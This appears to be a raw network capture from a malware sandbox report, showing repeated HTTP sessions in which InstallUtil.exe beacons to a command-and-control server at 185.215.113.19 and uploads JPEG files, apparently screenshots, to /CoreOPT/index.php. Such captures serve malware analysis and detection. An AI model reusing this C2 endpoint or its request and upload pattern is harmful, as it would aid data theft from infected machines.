Oct 16, 2024 19:23:38.998269081 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:38.998269081 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:38.998328924 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:38.998328924 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:38.998328924 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:38.998372078 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:38.998372078 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:38.998372078 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:38.998410940 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:38.998410940 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:38.998411894 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:40.602147102 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.9	49790	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:39.784991980 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:40.825309038 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:40.826248884 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:41.259215117 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.9	49791	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:40.852068901 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:40.852068901 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:40.852068901 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:40.852089882 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:40.852164030 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:40.852164030 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:40.852164984 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:40.852164984 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:40.852164984 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:40.852164984 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:40.852225065 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:42.450337887 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.9	49792	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:41.378804922 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:42.401523113 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:42.406629086 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:42.821073055 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Oct 16, 2024 19:23:42.823242903 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:42.823242903 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:42.823242903 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:42.823242903 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:42.823242903 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:42.823242903 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:42.823371887 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:42.823371887 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:42.823371887 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:42.823371887 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:42.823371887 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:43.947259903 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.9	49793	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:43.107639074 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:44.064863920 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:44.067341089 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:44.476811886 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.9	49794	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:44.160367012 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:44.160367012 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:44.160367012 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:44.160418987 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:44.160418987 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:44.160419941 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:44.160419941 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:44.160419941 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:44.160484076 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:44.160484076 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:44.160484076 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:45.867367029 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.9	49795	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:44.597260952 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:45.643929958 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:45.648727894 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:46.065735102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.9	49796	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:46.040105104 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:46.040153027 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:46.040206909 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:46.040235996 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:46.040262938 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:46.040287018 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:46.040313959 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:46.040333986 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:46.040361881 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:46.040394068 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:46.040419102 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:47.732017994 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.9	49797	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:46.176865101 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
